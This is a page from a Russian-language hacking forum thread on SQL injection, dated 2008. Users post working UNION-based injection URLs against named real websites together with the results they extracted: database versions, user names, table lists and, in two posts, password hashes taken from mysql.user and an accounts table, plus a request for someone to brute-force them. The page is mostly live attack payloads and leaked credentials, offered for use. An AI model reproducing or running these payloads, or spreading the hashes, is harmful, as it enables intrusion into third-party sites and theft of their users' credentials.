HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу SQL Инъекции
   
Ответ
Страница 689 из 1602 « Первая < 189589639679 685 686 687 688 689 690 691 692 693 6997397891189 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 06.12.2008, 14:26
BanQui
Познающий
Регистрация: 10.07.2008
Сообщений: 70
С нами: 9387494

Репутация: 36
По умолчанию
Цитата:
Сообщение от max_pain89  
Крутить данную бестолку, т.к. ничего интересного этот запрос не представляет. Есть более удобный файл с ПОСТ запросом. Времяни на это у меня нет, но скажу по секрету, что версия Мускула там 5ая, а это значит есть information_schema. Для работы лучше используй тулзу на PHP из этой темы https://forum.antichat.ru/thread19844.html (нижний пост).


POST http://ТОТСАЙТ.ru/mob_search.html HTTP/1.0
Host: ТОТСАЙТ.ru


filter[mod_name]=mob_search&filter[name]=Fabre%'+AND+SUBSTRING((SELECT+version()+FROM+ragn adb.mob_db+LIMIT+0,1),1,1)=5#

Вот о чем я примерно.
Слу пожалуйста покрути её немного! Я блин тама в этом скульном скрипте все заполнил, вроде прально а он мне пишет:
Невозможно провести sql инъекцию, возможно:
1. Данные введены не правильно
2. Передача данных выбранным методом невозможна для данного сайта
Плиизззз покрути ето! МНЕ ОЧЕНЬ НУЖНО!!!!
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 06.12.2008, 02:50
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию
Твой запрос не фурычит,или мой моск не фурычит))
 
Ответить с цитированием

  #3  
Старый 06.12.2008, 03:04
cash$$$
Banned
Регистрация: 06.01.2008
Сообщений: 413
С нами: 9655526

Репутация: 1334
По умолчанию
Цитата:
http://www.audit.kharkov.com/news.php?id=99999+union+select+1,2,version(),user( ),database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19 ,20/*
version: 5.0.41-community
user: gkcomua_global@localhost
database: gkcomua_global

Таблицы:

Код:
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
articles
autors
autors_info
comments
session
activities
cities
config
countries
currencies
formoflaw
pictures
purchase
sale
phpbb_auth_access
phpbb_banlist
phpbb_categories
phpbb_config
phpbb_confirm
phpbb_disallow
phpbb_forum_prune
phpbb_forums
phpbb_groups
phpbb_posts
phpbb_posts_text
phpbb_privmsgs
phpbb_privmsgs_text
phpbb_ranks
phpbb_search_results
phpbb_search_wordlist
phpbb_search_wordmatch
phpbb_sessions
phpbb_sessions_keys
phpbb_smilies
phpbb_themes
phpbb_themes_name
phpbb_topics
phpbb_topics_watch
phpbb_user_group
phpbb_users
phpbb_vote_desc
phpbb_vote_results
phpbb_vote_voters
phpbb_words
baza
dop_inf
doska
fen_category
Обратите внимание на это

форум => группы => просмотреть информацию

ссылка: http://www.audit.kharkov.com/forum1/groupcp.php?g=22&sid=ae20327f81b80ed5fd34b4bbc3715 4a8

Цитата:
http://www.diotravel.ru/index.php?id=99999+union+select+1,2,3,4,5,version( )/*
version: 4.1.22-log
user: diotrav2_dio@localhost
database: diotrav2_dio
Последний раз редактировалось cash$$$; 06.12.2008 в 03:06..
 
Ответить с цитированием

  #4  
Старый 06.12.2008, 03:32
plutus
Новичок
Регистрация: 03.11.2008
Сообщений: 25
С нами: 9221159

Репутация: 20
По умолчанию
http://cdbara n.com/detail.php?id=-241+union+select+1,2,3,table_name,5,6,7,8,9,10,11, 12,13,14,15,16,17+from+information_schema.tables--

version 5
 
Ответить с цитированием

  #5  
Старый 06.12.2008, 06:08
spherics
Участник форума
Регистрация: 14.01.2008
Сообщений: 174
С нами: 9644530

Репутация: 443
По умолчанию
http://teknews.net/details.php?id=-41839+union+select+1,2,version(),database(),5,user (),7,8,9--

Version: 5.0.51a-3ubuntu5.4
user: teknews@localhost
database: teknews

http://www.online-publishers.org/newsletter.php?newsId=164+union+select+1,2,version (),user(),5,6,7,8,9,database(),11,12,13,14,15,16,1 7,18,19,20,21,22,23/*

version: 4.1.20
user: opaadmin@localhost
database: OPA

http://www.nepaltravelnews.com/news.php?nid=207+union+select+1,2,3,version(),user (),database(),7,8,9,10,11,12,13,14--&&page=nid

version: 5.0.51a-community
user: travel_ntn@localhost
database: travel_travel

http://www.insanely-great.com/news.php?id=-9905+union+select+1,2,user(),version(),5,6,databas e(),8,9,10,11,12,13,14,15,16,17,18/*

version: 4.1.21-log
user: flamini_flaminio@216.14.208.109
database: flamini_igm
 
Ответить с цитированием

:(
  #6  
Старый 06.12.2008, 16:55
S00pY
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами: 10025299

Репутация: 412
Wink :(
http://www.gryphon.org.au/gallery/pictures/showPicture.php?album=-1+union+select+1,concat_ws(0x3a,version(),user(),d atabase())--
5.0.67:gryphon@localhost:gryphon
http://www.gryphon.org.au/gallery/pictures/showPicture.php?album=-1+union+select+1,concat_ws(0x3a,user,password)+fro m+mysql.user--
PHP код:
root:*A0BA0CCDEF2E7FAEF16510E7F845108919D1D778    phpmyadmin:*45988B8EBD97ABF91FE3ADFEFA92BE3FBA859CA0    
debian-sys-maint:5628c5d468086ccb
mysql:652f9c175d1914f9
gryphon:2314d08b327c439a
xrms:420fe7a60860988c
nuke:7947670723f0a05b
primequalitymeat:3d6a72ce055ea240
anta:2210636e65fe3992
bytesys:0e091d0759fdd203
autism:0a53f5a70675ac01
backup:*A11C33EBF4C6044E919113E6BC70408DA6A665CE
zubah:2e77180b427b3418
carl:*CEEBD0B5C31056DC20AB5E97EC94EE8F5AB70C12
sugarcrm:110832a12c60f2c7
sugarcrm:*2444EE85885C0FA09B328E49FDD203B0E508BE38
ajexa:7726ea7663fab356    
ajexa:*CB1645B337E2753340EA7B99D6F88509B55D03DE    
....
etc 
http://www.vibb.at/gallery/showpicture.php?id=-1+union+select+1,2,3,4,5+from+users/*
no printable

http://www.soostheglobe.nl/albums/showpicture.php?albumid=61&photo=-1+union+select+1,concat_ws(0x3a,version(),user(),d atabase()),3--
4.1.20-logays@localhost:soos

http://www.bertemu.us/showpicture.php?pic=21241+union+select+1,concat_ws (0x3a,version(),user(),database())/*
4.1.22-standard:bertemu_remko@localhost:bertemu_bertemu

http://rybalka.zooclub.ru/article.php?id=999999+union+select+1,concat_ws(0x3 a,user(),database(),version()),3--
user():zooclub_zooclub@localhost
database():zooclub_rybalka
version():5.0.67-community-log


http://www.michaelpollan.com/article.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(0x3a,user(),d atabase(),version()),8,9,10/*

user()ollan_article@localhost
database()ollan_articles
version():4.1.22-standard

http://www.tnufacenter.com/rus/article.php?id=-1+union+select+1,2,3,concat_ws(0x3a,us
er(),database(),version()),5/*
user()fer@localhost
database():tnufacenter
version():5.0.22-community-nt

http://www.energovent.com/ru/page.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),databas e(),version())/*
user():dbu_dolbik_1@192.168.5.56
database():db_dolbik_5
version():4.1.22-log

http://ve.free-travels.ru/books/item.php?id=9999999+union+select+1,2,3,4,5,6,7,8,9 ,10
,11,concat_ws(0x3a,user(),database(),version()),13 ,14,15/*

user():gb_x_free_9e1@81.176.226.194
database():gb_x_free_9e1
version():5.0.45-community-nt-log

http://sistem.by/main.php?catid=-1+union+select+concat_ws(0x3a,user(),database(),ve rs
ion())/*
user():sysby@localhost
database():sysby
vaersion():5.0.41

http://www.sokol-mebel.ru/dressers/item.php?id=-1+union+select+1,2,3,4,5,6,concat_ws(
0x3a,user(),database(),version()),8,9--
user():u97809@10.10.223.241
database():u97809
version():5.0.67-log

http://www.garo.cc/text.php?pageid=999999+union+select+1,2,3,concat_w s(0x3a,user(),database(),version()),5,6,7,8,9--
user():u7114@10.10.153.191
database():u7114
version():5.0.67-log

http://www.zvi.ru/item.php?id=999999999+union+select+1,2,concat_ws(0 x3a,user(),database(),version()),4,5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,2 8,
29,30,31--
user():szvi@localhost
database():shop2
version():5.0.26
Последний раз редактировалось S00pY; 06.12.2008 в 20:18.. Причина: :()
 
Ответить с цитированием

  #7  
Старый 06.12.2008, 18:56
a.su.s
Познающий
Регистрация: 02.03.2008
Сообщений: 44
С нами: 9574912

Репутация: 64
По умолчанию
www.azffc.org PR=5

Код:
http://www.azffc.org/show_page.php?id=-1+union+select+1,2,version(),4,5,6,7,8,9,10,11,12,13,user(),15,16,17,18,19,20,21,22--
Version() - 5.0.45-log

Таблицы:
Код:
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
articles
attachments
cases
config
content
homepage
images
images_pages
ips
lawyers
news
pages
questions
random_image
registrations
trivia
crnc.org PR=6

Код:
http://www.crnc.org/viewnews.php?id=-1+union+select+1,version(),user(),4,5,6,7--
Version() - 5.0.51a-log

Таблицы:
Код:
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
KEY_COLUMN_USAGE
PROFILING
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
STATISTICS
TABLES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
activity
admin
articles
images
members
page_contents
states
 
Ответить с цитированием

  #8  
Старый 10.12.2008, 10:51
xena-mil1
Познающий
Регистрация: 17.10.2006
Сообщений: 83
С нами: 10297512

Репутация: 55
По умолчанию
http://www.herpconstrust.org.uk/news/expand-news.php?id=9999%20union%20select%201,2,3,4,versio n(),6,7,8

http://www.name.net/marketplace/search-domains.php?sub_category=999999%20union%20select%2 01,2,3,4,version(),6,7,8,9,10,11,12,13,14

http://www.name.net/marketplace/search-domains.php?sub_category=999999%20union%20select%2 01,2,3,4,concat(username,char(0x27),password),6,7, 8,9,10,11,12,13,14%20from%20account



tbl:account,domain

name.net'*F4A92A0B0992BFEB56A81F234194BA8E4A010283 6 purchase | make offer
owenb'*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19

кто сбрутит пмните мне


http://www.asf.ca/news.php?id=9999%20uNion%20select%201,version(),3, 4,5,6,7


http://www.atlantasilverbacks.com/news/displaynews.php?id=9999%20union%20select%201,2,ver sion(),4,5,6,7,8,9,10,11,12
 
Ответить с цитированием

  #9  
Старый 06.12.2008, 21:09
masternet
Участник форума
Регистрация: 18.05.2008
Сообщений: 130
С нами: 9463474

Репутация: 155
По умолчанию
http://www.harlemstage.org/SEASON/index.php?id=-1+union+select+1,2,concat_ws(char(32,45,32),versio n(),user(),database()),4,5,6--
5.0.67-log - harlem_5@209.68.4.232 - harlem_live

http://www.dissentmagazine.org/online.php?id=-1+union+select+1,concat(version(),char(32,45,32),u ser(),char(32,45,32),database()),3,4,5,6,7,8,9,10--
4.1.22 - dissent@localhost - dissent
 
Ответить с цитированием

  #10  
Старый 07.12.2008, 00:04
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами: 10077446

Репутация: 3965


По умолчанию
Адрес: polutona.ru (89.108.64.84)

Google PR 4 / 10
Яндекс тІЦ 500
Код:
http://polutona.ru/?show=reflect&number=-25+union+select+1,concat_ws(0x203a20,user(),version(),database())+from+news/*
User() polutonf_poluton@localhost
Version() 4.1.22-log
Database() polutonf_polutonf
 
Ответить с цитированием
Ответ
Страница 689 из 1602 « Первая < 189589639679 685 686 687 688 689 690 691 692 693 6997397891189 > Последняя »



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.